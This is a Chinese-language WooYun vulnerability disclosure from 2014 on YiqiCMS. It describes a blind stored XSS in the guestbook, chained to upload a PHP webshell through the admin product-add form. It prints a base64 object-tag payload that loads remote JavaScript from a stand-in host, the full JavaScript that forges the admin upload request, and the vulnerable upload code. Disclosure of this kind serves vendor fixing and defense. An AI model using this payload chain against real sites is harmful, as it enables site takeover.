当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-077599

漏洞标题:易企CMS xss 盲打后台 getshell

相关厂商:易企CMS

漏洞作者: menmen519

提交时间:2014-09-28 19:02

修复时间:2014-12-27 19:04

公开时间:2014-12-27 19:04

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-28: 细节已通知厂商并且等待厂商处理中
2014-10-03: 厂商已经确认,细节仅向厂商公开
2014-10-06: 细节向第三方安全合作伙伴开放
2014-11-27: 细节向核心白帽子及相关领域专家公开
2014-12-07: 细节向普通白帽子公开
2014-12-17: 细节向实习白帽子公开
2014-12-27: 细节向公众公开

简要描述:

易企CMS xss 盲打后台 getshell

详细说明:

直接进入网站留言:

1.png


然后去后台查看留言:

2.png


这里我们更换一下payload:
<object data="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3NpdGUuY29tL3NoZWxsLmpzPjwvc2NyaXB0Pg==">
加载一个远程的js,http://site.com/shell.js js里面可以这样写:

<script>
function ajax(){
var request = false;
if(window.XMLHttpRequest) {
request = new XMLHttpRequest();
} else if(window.ActiveXObject) {
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
for(var i=0; i<versions.length; i++) {
try {
request = new ActiveXObject(versions[i]);
} catch(e) {}
}
}
return request;
}
var _x = ajax();
postgo();
function postgo() {
src="http://192.168.10.70/yiqicms/admin/product-add.php";
data="------WebKitFormBoundaryB6QWa9tMYBn1hUTB\r\nContent-Disposition: form-data; name="productname"\r\n\r\nxxxxxx\r\n------WebKitFormBoundaryB6QWa9tMYBn1hUTB\r\nContent-Disposition: form-data; name="productcategory"\r\n\r\n3\r\n------WebKitFormBoundaryB6QWa9tMYBn1hUTB\r\nContent-Disposition: form-data; name="productseotitle"\r\n\r\nxxxxxx\r\n------WebKitFormBoundaryB6QWa9tMYBn1hUTB\r\nContent-Disposition: form-data; name="productkeywords"\r\n\r\n\r\n------WebKitFormBoundaryB6QWa9tMYBn1hUTB\r\nContent-Disposition: form-data; name="productdescription"\r\n\r\n\r\n------WebKitFormBoundaryB6QWa9tMYBn1hUTB\r\nContent-Disposition: form-data; name="productthumb"; filename="shell.php"\r\nContent-Type: application/php\r\n\r\n\r\n------WebKitFormBoundaryB6QWa9tMYBn1hUTB\r\nContent-Disposition: form-data; name="productadddate"\r\n\r\n2014-09-28 09:13:04\r\n------WebKitFormBoundaryB6QWa9tMYBn1hUTB\r\nContent-Disposition: form-data; name="productfilename"\r\n\r\n\r\n------WebKitFormBoundaryB6QWa9tMYBn1hUTB\r\nContent-Disposition: form-data; name="producttemplets"\r\n\r\n{style}/product.tpl\r\n------WebKitFormBoundaryB6QWa9tMYBn1hUTB\r\nContent-Disposition: form-data; name="productcontent"\r\n\r\n<p>xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx</p>\r\n------WebKitFormBoundaryB6QWa9tMYBn1hUTB\r\nContent-Disposition: form-data; name="chk[]"\r\n\r\n1\r\n------WebKitFormBoundaryB6QWa9tMYBn1hUTB\r\nContent-Disposition: form-data; name="extname[1]"\r\n\r\n\r\n------WebKitFormBoundaryB6QWa9tMYBn1hUTB\r\nContent-Disposition: form-data; name="extvalue[1]"\r\n\r\n\r\n------WebKitFormBoundaryB6QWa9tMYBn1hUTB\r\nContent-Disposition: form-data; name="action"\r\n\r\nsave\r\n------WebKitFormBoundaryB6QWa9tMYBn1hUTB--";
xhr_act("POST",src,data);
}
function xhr_act(_m,_s,_a){
_x.open(_m,_s,false);
cookie = document.cookie;
if(_m=="POST"){
_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");
_x.setRequestHeader("Cookie",cookie);
}
_x.send(_a);
return _x.responseText;
}


这段代码就是在后台有一个添加产品的地方,我们直接看代码:
product-add.php(27-45):

if(!empty($_FILES["productthumb"]["name"]))
{
require_once("../include/upload.class.php");
$filedirectory = YIQIROOT."/uploads/image";
$filename = date("ymdhis");
$filetype = $_FILES['productthumb']['type'];
$upload = new Upload;
$upload->set_max_size(1800000);
$upload->set_directory($filedirectory);
$upload->set_tmp_name($_FILES['productthumb']['tmp_name']);
$upload->set_file_size($_FILES['productthumb']['size']);
$upload->set_file_ext($_FILES['productthumb']['name']);
$upload->set_file_type($filetype);
$upload->set_file_name($filename);
$upload->start_copy();
if($upload->is_ok())
{
$productthumb = YIQIPATH."uploads/image/".$filename.'.'.$upload->user_file_ext;
}
else
{
exit($upload->error());
}


发现问题了没有,这里的filename=date("ymdhis")
我们跟进去$upload->set_file_name($filename);
在看看:
upload.class.php(55-59):

function set_file_name($file) 
{
$this->user_file_name = $file;
$this->user_full_name = $this->directory_name."/".$this->user_file_name.".".$this->user_file_ext;
}


这里没有做任何限制,什么后缀 就什么保留
当管理员审核我们留言的时候,我们提交之后发现在这个目录下有个shell文件:

3.png


。。。。。。。。

漏洞证明:

修复方案:

版权声明:转载请注明来源 menmen519@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-10-03 18:07

厂商回复:

谢谢支持。

最新状态:

暂无